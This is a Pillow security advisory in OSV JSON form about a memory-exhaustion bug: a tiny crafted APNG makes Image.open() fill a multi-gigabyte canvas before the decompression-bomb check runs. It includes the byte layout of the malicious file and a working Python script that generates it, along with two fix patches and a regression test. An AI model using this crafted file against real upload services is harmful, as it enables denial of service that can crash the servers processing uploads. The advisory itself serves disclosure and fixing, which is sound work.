{"id":"GHSA-5xm2-6676-qcp9","summary":"Pillow: APNG background disposal allocates full canvas before decompression bomb check","details":"```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.\n\nThe bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.\n\nBelow available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.\n\n## Details\n\nFor an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.\n\nThe following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.\n\n```\nIHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)\nacTL  num_frames=2 num_plays=0\nfcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0\nIDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline\nIEND\n```\n\nWith `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.\n\n### Code path\n\n`Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned:\n\n```python\n# src/PIL/Image.py:3699-3701\n                    im = factory(fp, filename)\n                    _decompression_bomb_check(im.size)\n                    return im\n```\n\nFor a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:\n\n```python\n# src/PIL/PngImagePlugin.py:845-853\n        if self.png.im_n_frames is not None:\n            …\n            self._seek(0)\n```\n\n`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:\n\n```python\n# src/PIL/PngImagePlugin.py:991-1001\n        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n            self.dispose_op = Disposal.OP_BACKGROUND\n\n        self.dispose = None\n        if self.dispose_op == Disposal.OP_PREVIOUS:\n            …\n        elif self.dispose_op == Disposal.OP_BACKGROUND:\n            self.dispose = Image.core.fill(self.mode, self.size)\n            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\n`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.\n\nThe only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded.\n\nThe eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`.\n\n## Impact\n\nAny application that calls `Image.open()` on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG.\n\nThis is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover — but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`.\n\n## Reproducing\n\n`repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second.\n\nThe two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job:\n\n- The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`.\n- The 1×1 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check.\n- The one-scanline `IDAT` ends header parsing.\n\nExpected output on this tree:\n\n```\n126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults\n  control  dispose_op=0 OP_NONE        -\u003e DecompressionBombError peak RSS    17 MB\n  attack   dispose_op=1 OP_BACKGROUND  -\u003e DecompressionBombError peak RSS  1864 MB\nImage.open() touched a full 22000x22000 canvas before the bomb check ran\nBUG\n```\n\nBoth files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17–22 MB and the script prints `OK`.\n\nThe allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.\n\n## Suggested fix\n\nDo not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2³¹−1 × 1 APNG built in memory with a 1×1 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix.\n\n**Attached patch 1** moves the fill to its only point of use, the `frame \u003e 0` branch of `_seek()` right after `self.load()` — which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated — and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:\n\n```diff\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\nAt that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range.\n\n**Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` — up to about 2×`MAX_IMAGE_PIXELS`×4 bytes (660 MB for a 13000×13000 full-frame `fcTL`, with `DecompressionBombWarning`) — and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check.\n\nWith either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind.\n\n## The patch (1 of 2)\n\nCreate the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..24fa587c1 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The patch (2 of 2)\n\nBomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..0111a17d7 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):\n                 msg = \"image not found in APNG frame\"\n                 raise EOFError(msg)\n         if dispose_extent:\n-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent\n+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent\n \n         # setup frame disposal (actual disposal done when needed in the next _seek())\n         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n         elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n+            # only dispose the extent in this frame, rather than filling an\n+            # image of the declared size before Image.open() has been able to\n+            # run the decompression bomb check\n+            x0, y0, x1, y1 = self.dispose_extent\n+            dispose_size = (x1 - x0, y1 - y0)\n+\n+            Image._decompression_bomb_check(dispose_size)\n+            self.dispose = Image.core.fill(self.mode, dispose_size)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,564 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nImage.open() on a 126-byte APNG allocates and zero-fills a full canvas of the\nheader-declared size *before* Pillow's decompression-bomb check rejects it.\n\nWe build two PNGs that are identical except for one byte, the first fcTL\nchunk's dispose_op:\n\n    control: dispose_op = 0  (OP_NONE)\n    attack:  dispose_op = 1  (OP_BACKGROUND)\n\nBoth declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS\nerror threshold), so Image.open() must reject both with DecompressionBombError\n-- and that check exists precisely so the rejection is cheap. For the attack\nfile, PngImageFile._open() -\u003e _seek(0) first runs\nImage.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the\nbomb check reached.\n\nEach file is opened in a fresh interpreter that reports its own peak RSS.\n\"\"\"\nimport struct\nimport subprocess\nimport sys\nimport zlib\n\nSIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas\n\n\ndef chunk(cid, data):\n    crc = zlib.crc32(cid + data)\n    return struct.pack(\"\u003eI\", len(data)) + cid + data + struct.pack(\"\u003eI\", crc)\n\n\ndef build_apng(dispose_op):\n    ihdr = struct.pack(\"\u003eIIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA\n    actl = struct.pack(\"\u003eII\", 2, 0)  # animated: 2 frames -\u003e _open() calls _seek(0)\n    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),\n    # delay 1/10 s, the dispose_op under test, blend_op 0\n    fctl = struct.pack(\"\u003eIIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)\n    idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\")  # one 1x1 RGBA scanline\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl)\n            + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\"))\n\n\n# What an application does with an untrusted upload: Image.open() with default\n# settings, no load(). Prints the outcome and this process's peak RSS in MB.\nOPEN_UNTRUSTED = \"\"\"\nimport io, resource, sys\nfrom PIL import Image\ntry:\n    Image.open(io.BytesIO(sys.stdin.buffer.read()))\n    outcome = \"opened\"\nexcept Exception as e:\n    outcome = type(e).__name__\nprint(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)\n\"\"\"\n\n\ndef open_in_child(data):\n    p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data,\n                       capture_output=True, timeout=60)\n    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug\n        return \"oom-killed(rc=-9)\", None\n    if p.returncode != 0:  # anything else is a harness failure, not evidence\n        print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\")\n        print(\"child failed unexpectedly (rc=%d)\" % p.returncode)\n        print(\"OK\")\n        sys.exit(1)\n    outcome, peak_mb = p.stdout.split()\n    return outcome.decode(), int(peak_mb)\n\n\ncontrol = build_apng(dispose_op=0)\nattack = build_apng(dispose_op=1)\n\nc_outcome, c_mb = open_in_child(control)\na_outcome, a_mb = open_in_child(attack)\n\nprint(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\"\n      % (len(attack), SIZE, SIZE))\nprint(\"  control  dispose_op=0 OP_NONE        -\u003e %-22s peak RSS %5s MB\" % (c_outcome, c_mb))\nprint(\"  attack   dispose_op=1 OP_BACKGROUND  -\u003e %-22s peak RSS %5s MB\" % (a_outcome, a_mb))\n\n# Expected: both rejected at roughly interpreter size. Bug: the attack file\n# made the \"cheap\" rejection cost a full-size canvas (or killed the process).\nif a_mb is None or (a_mb \u003e= 1000 and a_mb \u003e= 20 * c_mb):\n    print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\"\n          % (SIZE, SIZE))\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-112399"],"modified":"2026-10-21T21:30:26.938404669Z","published":"2026-10-21T21:17:56Z","database_specific":{"nvd_published_at":"2026-10-19T22:17:07Z","cwe_ids":["CWE-789"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-21T21:17:56Z"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112399"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5xm2-6676-qcp9/GHSA-5xm2-6676-qcp9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}